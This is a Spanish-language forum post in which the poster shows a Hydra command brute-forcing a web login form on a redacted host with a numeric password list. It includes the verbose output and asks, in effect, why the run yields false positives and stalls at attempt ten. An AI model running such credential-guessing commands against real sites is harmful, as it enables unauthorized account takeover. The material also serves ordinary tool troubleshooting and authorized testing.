Lo que obtengo es lo siguiente:
Código:
root@mcn:/# hydra xxxx.yyyyyyyyyyyy.com http-form-post "index.php:username=^USER^&passwd=^PASS^:Log in" -l usuario -P Documentos/passwords.txt -t 10 -w 30 -v -V
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-11-19 10:40:30
[DATA] 10 tasks, 1 server, 9999 login tries (l:1/p:9999), ~999 tries per task
[DATA] attacking service http-post-form on port 80
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "1" - 1 of 9999 [child 0]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "2" - 2 of 9999 [child 1]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "3" - 3 of 9999 [child 2]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "4" - 4 of 9999 [child 3]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "5" - 5 of 9999 [child 4]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "6" - 6 of 9999 [child 5]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "7" - 7 of 9999 [child 6]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "8" - 8 of 9999 [child 7]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "9" - 9 of 9999 [child 8]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "10" - 10 of 9999 [child 9]
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 4
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 9
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 7
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 5
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 2
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 3
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 10
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 1
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 6
Process 13143: Can not connect [timeout], process exiting
[VERBOSE] Retrying connection for child 7
[STATUS] attack finished for xxxx.yyyyyyyyyyyy.com (waiting for children to finish)
1 of 1 target successfuly completed, 9 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-11-19 10:41:01
Las contraseñas "halladas" hasta ahí son falsos positivos pero no pasa del intento número 10.
Por cierto, el diccionario utilizado es de solo números
Marcadores